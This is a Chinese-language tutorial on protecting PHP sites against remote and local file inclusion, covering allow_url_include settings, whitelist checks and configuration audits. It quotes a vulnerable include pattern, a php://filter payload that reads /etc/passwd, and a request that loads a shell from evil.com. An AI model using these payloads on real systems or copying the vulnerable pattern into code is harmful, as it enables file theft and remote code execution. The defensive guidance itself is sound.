php远程文件包含怎禁改_php远程包含禁用修改法【防护】

9次阅读

应将 php.ini 中 allow_url_include 设为 Off 并重启 Web 服务,若无权限可改 .htaccess 或 user.ini;同时需代码层白名单校验、禁用 php:// 等危险协议,且须检查 CLI 与 Web SAPI 配置是否一致。

php远程文件包含怎禁改_php远程包含禁用修改法【防护】

php.ini 里怎么关掉 allow_url_include

远程文件包含漏洞(RFI)的核心前提是 PHP 允许从 URL 加载并执行代码,而控制开关就是 allow_url_include。它默认是 Off,但有些老旧环境或一键包(如某些旧版 WAMP/XAMPP)会误开为 On

直接编辑 php.ini,找到这一行:

allow_url_include = On

改成:

allow_url_include = Off

注意:改完必须重启 Web 服务(apachephp-fpm),否则不生效。用 phpinfo() 页面确认当前值是否为 Off,别只信配置文件内容。

立即学习PHP免费学习笔记(深入)”;

  • 如果找不到该配置项,就手动加一行 —— 它不是必选项,没写等于默认 Off,但显式写出来更稳妥
  • 共享主机用户可能无权改 php.ini,此时可用 .htaccess(Apache)或 user.ini(PHP 5.3+)覆盖:
    php_flag allow_url_include off
  • allow_url_fopen = Off 可顺带关掉——虽然它不影响 include,但能阻止很多基于 file_get_contents()fopen() 的 RFI 利用链

为什么 include/require 拼接用户输入就是高危

哪怕 allow_url_includeOff,只要代码里把用户可控参数(比如 $_GET['page'])直接塞进 include,仍可能被绕过或引发 LFI(本地文件包含),进而读取敏感文件甚至配合日志/临时文件 getshell。

典型危险写法:

include $_GET['page'] . '.php';

攻击者传 ?page=php://Filter/read=convert.base64-encode/Resource=/etc/passwd 就能读文件(即使 allow_url_include=Offphp:// 流仍可用)。

  • 永远不要信任用户输入作为文件路径的一部分
  • 用白名单硬编码可包含的模块名:$pages = ['home', 'about']; if (in_array($_GET['page'], $pages)) { include $_GET['page'] . '.php'; }
  • 若必须动态加载,用 basename() 剥离路径干扰:include basename($_GET['page']) . '.php';,但仍有风险,白名单仍是首选

Web 服务器层能不能挡 RFI 请求

不能靠 nginx/Apache 的请求过滤“拦住 RFI”,因为 RFI 是 PHP 解析阶段的行为,http 层看到的只是普通 GET 请求(比如 ?file=http://evil.com/shell.txt)。规则写再严,只要 PHP 执行了那行 include,就晚了。

但可以做两件事降低危害:

  • Nginx 中禁用 .php 文件里的 URL 协议解析(仅限特定目录):
    location ~ .php$ { ... fastcgi_param PHP_VALUE "allow_url_include=Off"; }
  • Apache 的 mod_security 可拦截含 http://https://php://include 参数,但属于事后补救,且规则易被绕过(如双写、编码
  • 真正有效的防护在代码逻辑和 PHP 配置,不在 Web 服务器

检查线上环境有没有漏掉的 allow_url_include

很多运维会改主 php.ini,却忘了 CLI 模式或不同 vhost 下的 php_admin_value 覆盖。一个 PHP 进程可能加载多个配置文件

最可靠方式是运行:

php -r "echo ini_get('allow_url_include');"

以及:

php --ini

看实际生效的是哪个 php.ini。CLI 和 Web SAPI 的配置常不同,尤其部署队列任务或定时脚本时,容易忽略 CLI 的 allow_url_include 状态。

另外,docker 容器、宝塔面板、cPanel 的 PHP 插件管理界面,都可能单独覆盖这个值,得逐个确认。

别只查一次;上线前、升版后、换 PHP 版本时,都值得再跑一遍 ini_get()

text=ZqhQzanResources